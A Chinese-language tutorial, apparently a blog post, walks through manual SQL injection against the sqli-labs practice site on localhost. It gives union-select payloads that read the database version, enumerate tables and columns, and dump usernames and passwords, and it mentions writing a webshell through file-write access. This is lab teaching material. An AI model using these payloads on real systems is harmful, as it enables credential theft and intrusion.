手工SQL注入流程 :

SQL注入(二)手工注入流程,实战,文件读写_网络安全

 

 

    1.寻找注入点

功能点

URL注入 一般为get请求

登录框提交  一般为post 请求

搜索栏查询

用户注册

cookie注入:识别用户的唯一标识

主机头:指定请求资源的internet主机和端口号

引用站点头(host):指定获取当前请求的资源

用户代理头(user-agent):确定用户使用的web浏览器。

 

 

数据类型

SQL注入(二)手工注入流程,实战,文件读写_sql注入_02

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_03

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_04

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_05

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_06

 提交方式

SQL注入(二)手工注入流程,实战,文件读写_网络安全_07

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_08

 

 

2.靶场实战案例

基础的手工注入 SqlLab 1-4

 

第一步: 根据功能,数据类型,提交方式找注入点

SQL注入(二)手工注入流程,实战,文件读写_sql注入_09

 

首先在id=1 后面 尝试使用'来进行分割  并输入 and 1=1 来验证 以及 --+ 来过滤后面的内容

代码如下

Id = 1 ' and 1=1 --+

如果没有成功可以使用 " ) 等来进行分割,#进行过滤

反应正常的话使用 1=2 进行进一步确认注入点

 

 

第二步 使用order by 拆解字段

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_10

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_11

 

证明该表只有 3 个字段

 

 

第三步 找回显点

使用union 联合查询注入

http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,3 --+

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_12

 

 

第四步 可以查看到有两个字段有web回显信息,进一步信息收集

 

http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,database(),version() --+

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_13

 

 

拿到数据库的信息

第五步 进行SQL注入

a.找数据库对应的表

 

从 infromation_schema 系统库下面的table 表查取  数据库 security 的所有表名 table_name

 

构造 查询语句 union select 1, group_concat(table_name),3  from  information_schema.tables where table_schema=database()

 

并使用 group_concat 函数 去重分组

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_14

users表中有账号和密码信息,继续查找字段

 

b.找users表中所有的列

构造 查询语句 union select 1, group_concat(column_name),3  from  information_schema.columns where table_name=0x7573657273

SQL注入(二)手工注入流程,实战,文件读写_sql注入_15

 

c.从列中拿去信息 password username

http://localhost/sqli-labs-master/Less-2/index.php?id=-1%20union%20select%201,%20(select%20group_concat(username,password)%20%20from%20users),3

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_16

 

 

 

 

 

3.寻找注入点

利用文件的读写权限,可以写入一句话木马,也可以进一步读取隐私信息

SQL注入(二)手工注入流程,实战,文件读写_sql注入_17

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_18

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_19

 

SQL注入(二)手工注入流程,实战,文件读写_网络安全_20

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_21

 

SQL注入(二)手工注入流程,实战,文件读写_sql注入_22